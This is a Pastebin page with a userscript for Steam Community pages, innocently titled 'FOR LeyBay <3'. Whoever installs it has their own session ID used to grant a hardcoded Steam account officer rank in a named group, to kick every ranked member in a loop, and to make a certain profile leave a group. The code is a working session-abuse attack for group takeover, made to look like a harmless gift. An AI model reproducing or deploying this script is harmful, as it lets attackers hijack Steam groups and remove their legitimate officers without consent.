Advertisement
CSGOPolygonCoder

Untitled

Jan 24th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. // ==UserScript==
  2. // @name FOR LeyBay <3
  3. // @version 0.1
  4. // @author Kaszanka
  5. // @match *://steamcommunity.com/groups/*
  6. // @match *://steamcommunity.com/profiles/*
  7. // @match *://steamcommunity.com/id/*
  8. // @require http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js
  9. // @grant none
  10. // ==/UserScript==
  11.  
  12. var $Site=location.pathname;
  13. if ($Site === "/groups/fewdewdxewd/membersManage"){
  14. var GiveOfficer= function(){
  15. var YOU = document.getElementById( 'rankIcon_76561198272498201' );
  16. if (YOU.src.indexOf('rankIconOfficer') === -1){
  17. var postData = {
  18. "xml": 1,
  19. "action": "toggleRank",
  20. "memberId": "76561198272498201",
  21. "sessionID": g_sessionID
  22. };
  23. createQuery2( g_strProcessURL, ManageMembers_OnRankToggleResponse, postData );
  24. }else{
  25. location.href = jQuery(".profilelink:first").attr("href")+"/groups/";
  26. }
  27. };
  28. var RemoveThisUser= function(steamId) {
  29. if (steamId !== "76561198272498201"){
  30. var form = document.forms['kick_form'];
  31. form.elements['memberId'].value = steamId;
  32. form.submit();
  33. jQuery(".rank_icon:first").remove();
  34. }else{
  35. jQuery(".rank_icon:first").remove();
  36. }
  37. };
  38. var Interval=setInterval(function(){
  39. GiveOfficer();
  40. var User=jQuery(".rank_icon:first .manageMemberAction:first").attr("id").replace(/[^0-9]/g, '');
  41. var CheckRank = document.getElementById('rankIcon_' + User);
  42. if (CheckRank.src.indexOf('rankIconMember') === -1){
  43. RemoveThisUser(User);
  44. }else{
  45. jQuery(".rank_icon:first").remove();
  46. }
  47. }, 1000);
  48. }else if ($Site === "/profiles/76561198165611926/groups/"){
  49. var Interval=setInterval(function(){
  50. var YourGroup="103582791457102597";
  51. leaveURL = processURL + '?action=leaveGroup&groupId=' + YourGroup + '&sessionID=' + escape( $('sessionID').value );
  52. location.href = leaveURL;
  53. }, 1000);
  54. }else{
  55. location.pathname = "/groups/fewdewdxewd/membersManage";
  56. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement